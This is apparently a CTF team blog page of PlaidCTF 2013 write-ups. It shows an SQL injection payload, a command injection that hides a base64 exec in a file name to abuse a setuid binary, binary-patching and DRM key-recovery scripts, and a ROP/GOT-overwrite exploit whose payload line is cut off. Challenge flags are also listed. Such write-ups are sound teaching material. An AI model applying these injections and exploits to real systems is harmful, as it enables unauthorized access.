charsheet / Unnnnlucky - PlaidCTF 2013

Posted by anonymous on 12 May 2013
My friend is in my D&D campaign - could you get me his character name? He administrates this site.
Or here (faster).

Charsheet was an easy SQL injection

1. Find search box
2. ') OR 1=1#
3. ???
4. PROFIT! (r3al50ftwar3ftw)
Where does The Plague hide his money?

We also had to prove that we were able to scroll through 11 or so parts of Hackers on Youtube. It was in an account with the number 03087-08351-27H.

hypercomputer-1 - PlaidCTF 2013

Posted by IdolfHatler on 06 May 2013

Challenge description:

For those who didn't play plaidCTF 2012: "supercomputer" was a
reversing challenge that computed flags using really silly math (like adding
in a loop instead of mulitplication). hypercomputer is easier... if you do it right :P
ssh to
from pwn import *
context('amd64', 'linux')

bin = read('hypercomputer')

def replace(pat, rep):
    global bin
    pat = unhex(pat)
    rep = asm(rep).ljust(len(pat), '\x90')
    bin = bin.replace(pat, rep)

# usleep
replace('FF255A682000', 'ret')

# dec eax to 0
replace('4883E80175FA', 'xor eax, eax')

# dec eax to 0
replace('4883E8010F1F0075F7', 'xor eax, eax')

# inc rax to rdx
replace('4883C0014839D075F7', 'mov rax, rdx')

write('hypercomputer-patched', bin)

Key: Y0uKn0wH0wT0Sup3rButCanY0uHyp3r

secure_reader - PlaidCTF 2013

Posted by IdolfHatler on 06 May 2013

Challenge description:

I can't figure out how to read the flag :-( ssh to

Two different programs existed in /home/securereader/. reader was a regular binary which tried to output the content of a file in -- however it checked that the file was diretory whitelist. If it could not open the file, then it did a:

system("/home/securereader/secure_reader %s" % file)

This program was a setuid binary, which contained a whitelist too, but it also checked if its parent was /home/securereader/reader.

This challenge could easily be solved with a small bit of ugly shellfoo:

$ touch ';exec $(echo L2hvbWUvc2VjdXJlcmVhZGVyL3NlY3VyZV9yZWFkZXIgL3RtcC9tb25rZXkvZmxhZwo=|base64 -d)'
$ chmod -r ';exec $(echo L2hvbWUvc2VjdXJlcmVhZGVyL3NlY3VyZV9yZWFkZXIgL3RtcC9tb25rZXkvZmxhZwo=|base64 -d)'
$ /home/securereader/reader ';exec $(echo L2hvbWUvc2VjdXJlcmVhZGVyL3NlY3VyZV9yZWFkZXIgL3RtcC9tb25rZXkvZmxhZwo=|base64 -d)'
This may only be called by /home/securereader/reader

drmless - PlaidCTF 2013

Posted by br0ns on 06 May 2013

Challenge description:

 You should check out our cool stories, bros.

Link: drmless.tgz

Inside the archive are five files:

  • .drmlicense
  • cool_story.enc
  • cooler_story.enc
  • drmless
  • readme.txt

In readme.txt we find this text:

 Here's a cool story from PPP!
We wrote an even cooler story, but you need to pay
us if you want to unlock it. TEN THOUSAND DOLLAR.

The file drmless is a 32bit ELF. Running it we see that it behaves exactly as less except that it is also able to open cool_story.enc. However we can't open cooler_story.enc.

Looking in the file .drmlicense we find the 16 bytes:

00 11 22 33 44 55 66 77 88 99 aa bb cc dd ee ff

Flipping one bit in .drmlicense and opening cool_story.enc again we see that every 16th byte has the same bit flipped. So we guess that the 16 bytes in .drmless are xor'ed into the DRM'ed file ECB style. However the xor difference between the DRM'ed file and the plaintext is not .drmlicense, so something else is going on. Our initial guess is that a pseudorandom stream is xor'ed into the DRM'ed file along with the license.

So we try putting all zeroes in .drmlicense in order to extract the pseudorandom stream. However drmless now says that the file contains binary data and when prompted to show it anyway shows the DRM'ed file, not the "plaintext".

The binary is not stripped so running readelf -s drmless gives us a lot of symbols. Specifically we are interested in these (readelf -s drmless|grep drm):

1024: 0804eb69   197 FUNC    GLOBAL DEFAULT   14 drmprotected
1192: 0804eb34    53 FUNC    GLOBAL DEFAULT   14 undrm

Going out on a limb we patch drmprotected to always return true:

0804eb69 <drmprotected>:
  804eb69:       31 c0                   xor    eax,eax
  804eb6b:       40                      inc    eax
  804eb6c:       c3                      ret

Running the program again we see the "plaintext". Bam. We see that changing the license file doesn't change the pseudorandom stream.

So now we do the same trick with cooler_story.enc to find it's stream (which is not the same as the one for cool_story.enc by the way). Now trying each byte value for each of the 16 bytes in .drmlicense we compile a list of candidates that will produce printable characters everywhere in the plaintext (script below).

We find two candidates for each of the sixteen bytes, and after some quick guesswork (chaning "!" to " ", etc.) we arrive at the answer:


by PPP

from pwn import *
import os, string

log.waitfor('Generating "plaintext"')
os.system('./drmless cooler_story.enc > cooler_story')

ct = read('cooler_story.enc')
pt = read('cooler_story')
lic = read('.drmlicense')

stream = xor(ct, pt, cut='min')
stream = xor(stream, lic, cut='max')

ct = xor(ct, stream, cut='min')

groups = zip(*group(16, ct))

log.waitfor('Finding valid license bytes')
for i in range(len(groups)):
    log.status_append('\n%2d:' % i)
    for x in range(256):
        xs = xor(groups[i], x)
        if all(x in string.printable for x in xs):
            log.status_append(' ' + enhex(x))

dynrpn - PlaidCTF 2013

Posted by IdolfHatler on 06 May 2013

Challenge description:

`dc` runs too slowly for my tastes.dynrpn running at

This service was a clone of the dc tool, which is a stack based calculator. It parses an entered line, compiles it to x86 floating point instructions and then runs it. It does this by allocating a struct using mmap(2). The struct looks something like this:

struct {
    char instr_arr[2000];
    char spill[2000];
    char frstor_data[108];
    char *instr_pointer;
    dword field_1010;
    dword will_underflow;

The instrarr is used for the compiled x86-instructions. The only other relevant field is the instrpointer, which is supposed to point into the instr_arr.

Our exploit works by overflowing from the instrarr into the instrpointer. We set the instr_pointer to just before the strtol in the global offset table, so that we can redirect it to a pop-ret gadget:

from pwn import *
context('i386', 'linux')
HOST = ''
PORT = 49630

r = rop.ROP("./dynrpn-55ac9afa75b1cbad2daa431f1d853079d5983eed")
p = process("./dynrpn-55ac9afa75b1cbad2daa431f1d853079d5983eed", timeout=None)
#p = remote(HOST, PORT)

popret = r._gadgets['popret'][1][0]

code  = "0 "                             # push a 0 to the stack
code += "0*"*291                         # create a lot of instructions
code += "@"*9                            # fix the alignment
code += str(['strtol']-16)          # overwrite with address of .plt.strtol
code += " " + str(popret)                # overwrite .plt.strtol with a popret
code += " " + asm(
p.sendafter('dynrpn', code + "\n")

Key: d0ubl3ra1nb0wfl0tinginthe_sky